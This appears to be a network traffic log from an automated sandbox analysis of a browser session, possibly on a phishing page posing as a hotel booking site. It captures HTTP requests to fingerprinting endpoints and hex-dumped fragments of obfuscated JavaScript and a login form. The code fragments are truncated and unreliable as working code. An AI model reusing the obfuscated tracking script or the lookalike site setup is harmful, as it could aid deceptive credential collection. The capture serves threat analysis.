2024-07-08 22:43:31 UTC	2756	IN	Data Raw: 6e 74 69 6e 75 65 42 74 6e 2e 76 61 6c 75 65 22 3e 70 3c 2f 70 3e 0d 0a 2d 2d 3e 0d 0a 3c 21 2d 2d 0d 0a 3c 70 20 69 64 3d 22 64 69 73 74 72 61 63 74 6f 72 22 3e 64 69 73 74 72 61 63 74 6f 72 3c 2f 70 3e 0d 0a 3c 70 20 69 64 3d 22 74 65 78 74 22 3e 74 65 78 74 3c 2f 70 3e 0d 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 76 61 6c 75 65 3d 22 45 78 65 63 75 74 65 20 4c 6f 67 69 6e 22 20 2f 3e 0d 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 76 61 6c 75 65 3d 22 4c 6f 67 69 6e 20 61 75 73 66 26 75 75 6d 6c 3b 68 72 65 6e 22 20 2f 3e 0d 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 3d 22 2a 4c 6f 67 69 6e 2a 22 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 20 63 6f 6e 66 69 72 6d 22 20 2f 3e 0d 0a 3c Data Ascii: ntinueBtn.value">p</p>-->...<p id="distractor">distractor</p><p id="text">text</p><input type="text" value="Execute Login" /><input type="text" value="Login ausführen" /><input type="submit" value="Login" class="button confirm" /><
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49762	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	932	OUT	GET /6yxRzK3FUissim9K?56242969615d5d84=78xISzn7VnoRlwddedINpOCo4yhp1R63yAAh_-x__1-hWwiqBOyikZQm_1G52eujMX5giE0MkKHUfDpKfj1mcrxUsjSomBwj-lOX0rc6G7HuT8B9QhHzZJ04r7hmUZtPcdAkAPZ4pycgm408BIuLaFUPXNa-gMZtmiqyEhZDdc3ZvtCcHfUw0lSdI8ON5Y9W4GPt9FxjOg8Iiy1imRQ HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	447	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:31 UTC	7745	IN	Data Raw: 31 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 35 6e 3d 74 64 5f 35 6e 7c 7c 7b 7d 3b 74 64 5f 35 6e 2e 74 64 5f 30 51 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 5a 2c 74 64 5f 41 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 74 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 4a 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 78 3d 30 3b 74 64 5f 78 3c 74 64 5f 41 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 78 29 7b 74 64 5f 74 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 5a 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 5e 74 64 5f Data Ascii: 1ff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_5n=td_5n\|\|{};td_5n.td_0Q=function(td_Z,td_A){try{var td_t=[""];var td_J=0;for(var td_x=0;td_x<td_A.length;++td_x){td_t.push(String.fromCharCode(td_Z.charCodeAt(td_J)^td_
2024-07-08 22:43:31 UTC	445	IN	Data Raw: 7b 76 61 72 20 74 64 5f 42 3d 74 64 5f 36 63 28 35 29 3b 69 66 28 74 79 70 65 6f 66 28 74 64 5f 32 6c 29 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 32 6c 28 74 64 5f 42 2c 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 2e 74 64 5f 66 28 31 38 2c 36 29 29 3a Data Ascii: {var td_B=td_6c(5);if(typeof(td_2l)!==[][[]]+""){td_2l(td_B,((typeof(td_5n.tdz_22f9104e7f5345d09ee3909c8085c1db)!=="undefined"&&typeof(td_5n.tdz_22f9104e7f5345d09ee3909c8085c1db.td_f)!=="undefined")?(td_5n.tdz_22f9104e7f5345d09ee3909c8085c1db.td_f(18,6)):
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 2e 74 64 5f 66 28 32 34 2c 36 29 29 3a 6e 75 6c 6c 29 29 3b 0a 74 64 5f 76 2e 69 64 3d 74 64 5f 42 3b 74 64 5f 76 2e 74 69 74 6c 65 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 30 38 35 63 31 64 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 32 32 66 39 31 30 34 65 37 66 35 33 34 35 64 30 39 65 65 33 39 30 39 63 38 Data Ascii: 1ff89104e7f5345d09ee3909c8085c1db.td_f(24,6)):null));td_v.id=td_B;td_v.title=((typeof(td_5n.tdz_22f9104e7f5345d09ee3909c8085c1db)!=="undefined"&&typeof(td_5n.tdz_22f9104e7f5345d09ee3909c8085c1db.td_f)!=="undefined")?(td_5n.tdz_22f9104e7f5345d09ee3909c8
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 69 6e 74 38 41 72 72 61 79 28 74 64 5f 74 34 29 3b 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 64 5f 74 34 29 29 7b 69 66 28 21 74 64 5f 77 5a 7c 7c 21 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 74 64 5f 74 34 29 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 74 64 5f 48 68 29 3b 7d 7d 7d 7d 7d 65 6c 73 65 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 74 64 5f 48 68 29 3b 0a 7d 74 64 5f 55 30 3d 74 72 75 65 3b 7d 76 61 72 20 74 64 5f 47 55 2c 74 64 5f 6a 45 3d 30 2c 74 64 5f 45 52 2c 74 64 5f 74 33 3d 74 64 5f 74 34 2e 6c 65 6e 67 74 68 2c 74 64 5f 4d 64 3d 74 68 69 73 2e 62 6c 6f 63 6b 73 3b 77 68 69 6c 65 28 74 64 5f 6a 45 3c 74 64 5f 74 33 29 7b 69 66 28 74 68 69 73 2e 68 61 73 68 65 64 29 7b 74 Data Ascii: int8Array(td_t4);}else{if(!Array.isArray(td_t4)){if(!td_wZ\|\|!ArrayBuffer.isView(td_t4)){throw new Error(td_Hh);}}}}}else{throw new Error(td_Hh);}td_U0=true;}var td_GU,td_jE=0,td_ER,td_t3=td_t4.length,td_Md=this.blocks;while(td_jE<td_t3){if(this.hashed){t
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 36 38 31 31 31 65 62 66 64 61 37 39 34 64 64 35 39 61 39 35 34 30 32 32 33 36 65 33 31 38 30 38 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 36 38 31 31 31 65 62 66 64 61 37 39 34 64 64 35 39 61 39 35 34 30 32 32 33 36 65 33 31 38 30 38 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 36 38 31 31 31 65 62 66 64 61 37 39 34 64 64 35 39 61 39 35 34 30 32 32 33 36 65 33 31 38 30 38 2e 74 64 5f 66 28 31 35 2c 38 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 72 48 3b 0a 7d 76 61 72 20 74 64 5f 42 6e 3d 74 64 5f 36 43 2b 74 64 5f 59 32 3b 69 66 28 74 79 70 65 6f 66 20 74 64 5f 59 69 21 3d 3d 5b Data Ascii: 1ff8(typeof(td_5n.tdz_68111ebfda794dd59a95402236e31808)!=="undefined"&&typeof(td_5n.tdz_68111ebfda794dd59a95402236e31808.td_f)!=="undefined")?(td_5n.tdz_68111ebfda794dd59a95402236e31808.td_f(15,8)):null)+td_rH;}var td_Bn=td_6C+td_Y2;if(typeof td_Yi!==[
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 65 6f 66 20 74 64 5f 32 4c 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 32 4c 28 29 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 64 5f 30 53 28 29 7b 74 72 79 7b 74 64 5f 35 6e 2e 74 64 5f 30 76 28 29 3b 74 64 5f 35 6e 2e 74 64 5f 36 4c 28 64 6f 63 75 6d 65 6e 74 29 3b 74 64 5f 32 6a 2e 74 64 5f 36 5a 28 29 3b 74 64 5f 5a 28 29 3b 76 61 72 20 74 64 5f 44 3d 22 31 22 3b 69 66 28 74 79 70 65 6f 66 20 74 64 5f 35 6e 2e 74 64 5f 35 7a 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 26 26 74 64 5f 35 6e 2e 74 64 5f 35 7a 21 3d 3d 6e 75 6c 6c 26 26 74 64 5f 35 6e 2e 74 64 5f 35 7a 3d 3d 3d 74 64 5f 44 29 7b 74 64 5f 59 28 29 3b 0a 7d 65 6c 73 65 7b 74 64 5f 31 4a 28 74 64 5f 59 29 3b 7d 7d 63 61 74 63 68 28 74 64 5f 46 29 7b 7d 7d 74 64 5f 35 6e 2e 74 64 7a 5f 64 62 32 38 Data Ascii: eof td_2L!==[][[]]+""){td_2L();}}function td_0S(){try{td_5n.td_0v();td_5n.td_6L(document);td_2j.td_6Z();td_Z();var td_D="1";if(typeof td_5n.td_5z!==[][[]]+""&&td_5n.td_5z!==null&&td_5n.td_5z===td_D){td_Y();}else{td_1J(td_Y);}}catch(td_F){}}td_5n.tdz_db28

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49763	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	933	OUT	GET /Z9h5cigMjtkYXpLE?008d0fb9508529df=S4jQEh1OJ10lmhlZO0raurd_MlQrThxIeka1JBqePmvOvuDLU-MDpP-UNFnVVGxp0kajtNumY85Js74oskXX-7XrFKi6o6L6nQKsips02QnyHltvsV7kLfQ0B5ONGQdaZpfZZF2rrDhNEvrP8vbOK-xbPMqzFLcgB9q2Bgbv31AmMe7yQu2LQCM6_ijfK4nqraawUZ3Ui6SwVEHXLqir HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	447	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:31 UTC	7745	IN	Data Raw: 31 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 35 6e 3d 74 64 5f 35 6e 7c 7c 7b 7d 3b 74 64 5f 35 6e 2e 74 64 5f 30 51 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 5a 2c 74 64 5f 41 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 74 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 4a 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 78 3d 30 3b 74 64 5f 78 3c 74 64 5f 41 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 78 29 7b 74 64 5f 74 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 5a 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 5e 74 64 5f Data Ascii: 1ff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_5n=td_5n\|\|{};td_5n.td_0Q=function(td_Z,td_A){try{var td_t=[""];var td_J=0;for(var td_x=0;td_x<td_A.length;++td_x){td_t.push(String.fromCharCode(td_Z.charCodeAt(td_J)^td_
2024-07-08 22:43:31 UTC	445	IN	Data Raw: 34 3d 74 68 69 73 2e 6c 61 73 74 42 79 74 65 49 6e 64 65 78 3b 74 64 5f 63 35 5b 31 36 5d 3d 74 68 69 73 2e 62 6c 6f 63 6b 3b 74 64 5f 63 35 5b 74 64 5f 45 34 3e 3e 32 5d 7c 3d 74 64 5f 4a 48 5b 74 64 5f 45 34 26 33 5d 3b 74 68 69 73 2e 62 6c 6f 63 6b 3d 74 64 5f 63 35 5b 31 36 5d 3b 0a 69 66 28 74 64 5f 45 34 3e 3d 35 36 29 7b 69 66 28 21 74 68 69 73 2e 68 61 73 68 65 64 29 7b 74 68 69 73 2e 68 61 73 68 28 29 3b 7d 74 64 5f 63 35 5b 30 5d 3d 74 68 69 73 2e 62 6c 6f 63 6b 3b 74 64 5f 63 35 5b 31 36 5d 3d 74 64 5f 63 35 5b 31 5d 3d 74 64 5f 63 35 5b 32 5d 3d 74 64 5f 63 35 5b 33 5d 3d 74 64 5f 63 35 5b 34 5d 3d 74 64 5f 63 35 5b 35 5d 3d 74 64 5f 63 35 5b 36 5d 3d 74 64 5f 63 35 5b 37 5d 3d 74 64 5f 63 35 5b 38 5d 3d 74 64 5f 63 35 5b 39 5d 3d 74 64 5f 63 Data Ascii: 4=this.lastByteIndex;td_c5[16]=this.block;td_c5[td_E4>>2]\|=td_JH[td_E4&3];this.block=td_c5[16];if(td_E4>=56){if(!this.hashed){this.hash();}td_c5[0]=this.block;td_c5[16]=td_c5[1]=td_c5[2]=td_c5[3]=td_c5[4]=td_c5[5]=td_c5[6]=td_c5[7]=td_c5[8]=td_c5[9]=td_c
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 5f 4a 30 3d 74 68 69 73 2e 68 31 2c 74 64 5f 6d 4c 3d 74 68 69 73 2e 68 32 2c 74 64 5f 61 6a 3d 74 68 69 73 2e 68 33 2c 74 64 5f 70 45 3d 74 68 69 73 2e 68 34 2c 74 64 5f 55 6b 3d 74 68 69 73 2e 68 35 2c 74 64 5f 66 38 3d 74 68 69 73 2e 68 36 2c 74 64 5f 4e 67 3d 74 68 69 73 2e 68 37 2c 74 64 5f 67 68 3d 74 68 69 73 2e 62 6c 6f 63 6b 73 2c 74 64 5f 77 74 2c 74 64 5f 66 35 2c 74 64 5f 78 32 2c 74 64 5f 71 59 2c 74 64 5f 51 30 2c 74 64 5f 62 30 2c 74 64 5f 58 56 2c 74 64 5f 4f 6c 2c 74 64 5f 62 45 2c 74 64 5f 77 73 2c 74 64 5f 63 73 3b 0a 66 6f 72 28 74 64 5f 77 74 3d 31 36 3b 74 64 5f 77 74 3c 36 34 3b 2b 2b 74 64 5f 77 74 29 7b 74 64 5f 51 30 3d 74 64 5f 67 68 5b 74 64 5f 77 74 2d 31 35 5d 3b 74 64 5f 66 35 3d 28 28 74 64 5f 51 30 3e 3e Data Ascii: 1ff8_J0=this.h1,td_mL=this.h2,td_aj=this.h3,td_pE=this.h4,td_Uk=this.h5,td_f8=this.h6,td_Ng=this.h7,td_gh=this.blocks,td_wt,td_f5,td_x2,td_qY,td_Q0,td_b0,td_XV,td_Ol,td_bE,td_ws,td_cs;for(td_wt=16;td_wt<64;++td_wt){td_Q0=td_gh[td_wt-15];td_f5=((td_Q0>>
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 34 5c 78 33 37 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 33 36 5c 78 33 35 5c 78 33 37 5c 78 33 34 5c 78 33 38 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 33 31 5c 78 33 32 5c 78 36 33 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 33 33 5c 78 33 31 5c 78 33 35 5c 78 33 37 5c 78 36 33 5c 78 33 36 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 36 5c 78 33 30 5c 78 33 37 5c 78 36 32 5c 78 33 35 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 31 5c 78 33 32 5c 78 33 37 5c 78 33 38 5c 78 33 36 5c 78 33 37 5c 78 33 33 5c 78 33 33 5c 78 33 35 5c 78 36 34 5c 78 33 30 5c 78 36 33 5c 78 33 35 5c 78 36 33 5c 78 33 30 5c 78 33 39 5c 78 33 31 5c 78 33 36 5c 78 33 31 5c 78 33 30 5c 78 33 31 5c 78 33 31 5c 78 33 36 5c 78 33 33 5c 78 33 30 5c 78 33 39 5c 78 33 35 5c 78 33 38 5c 78 Data Ascii: 4\x37\x34\x35\x34\x36\x35\x37\x34\x38\x30\x32\x30\x31\x32\x63\x30\x33\x35\x33\x31\x35\x37\x63\x36\x35\x31\x30\x36\x30\x37\x62\x35\x30\x30\x30\x31\x32\x37\x38\x36\x37\x33\x33\x35\x64\x30\x63\x35\x63\x30\x39\x31\x36\x31\x30\x31\x31\x36\x33\x30\x39\x35\x38\x
2024-07-08 22:43:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:31 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 6c 29 7d 2c 7b 73 74 72 69 6e 67 3a 74 64 5f 55 2c 73 75 62 53 74 72 69 6e 67 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 2e 74 64 5f 66 28 31 30 30 2c 36 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 Data Ascii: 1ff8l)},{string:td_U,subString:((typeof(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a)!=="undefined"&&typeof(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a.td_f)!=="undefined")?(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a.td_f(100,6)):null),identity:((typeof(td
2024-07-08 22:43:31 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:31 UTC	8184	IN	Data Raw: 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 2e 74 64 5f 66 28 32 33 30 2c 37 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 30 35 33 36 30 38 36 31 63 32 37 34 64 34 62 38 66 61 63 31 33 61 37 30 36 66 64 66 33 30 61 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 Data Ascii: 5360861c274d4b8fac13a706fdf30a.td_f)!=="undefined")?(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a.td_f(230,7)):null),identity:((typeof(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a)!=="undefined"&&typeof(td_5n.tdz_b05360861c274d4b8fac13a706fdf30a.td_f)!=="unde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49765	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	795	OUT	GET /ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jb=3b36266c71613d313c3038353339626739663b343439613164663164303b60673138323a3b3635 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49764	91.235.132.130	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	729	OUT	GET /QliDAQD2E8JcXcsd?c325243c7fb9038f=6R1m41uvAolfb66KoiruPDyERyalQCetrhyXtwss9zZI-rFE0ojeY_-X5L7a3bVb990ghFsriRrGoPHqREO3H-_XVXiOQKGovRRXX-uqHXKIwWZKWbUBeu53ADas4s4zne0JZrpGVhawND5JJv7MF0x4n2f9qbgaNhee-zUG-J76o9Y HTTP/1.1 Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	544	IN	HTTP/1.1 302 Found Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Set-Cookie: thx_global_guid=62e15eb22c00426ba4cb753936b36cde; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; P3P: CP=IVAa PSAa Location: https://h.online-metrix.net/QliDAQD2E8JcXcsd?f38876d3d5034505=6R1m41uvAolfb66KoiruPDyERyalQCetrhyXtwss9zZI-rFE0ojeY_-X5L7a3bVb990ghFsriRrGoPHqREO3H-_XVXiOQKGovRRXX-uqHXKIwWZKWbUBeu53ADas4s4zne0JZs1Su2-aph7y15zPXAktIx0&k=2 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49766	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
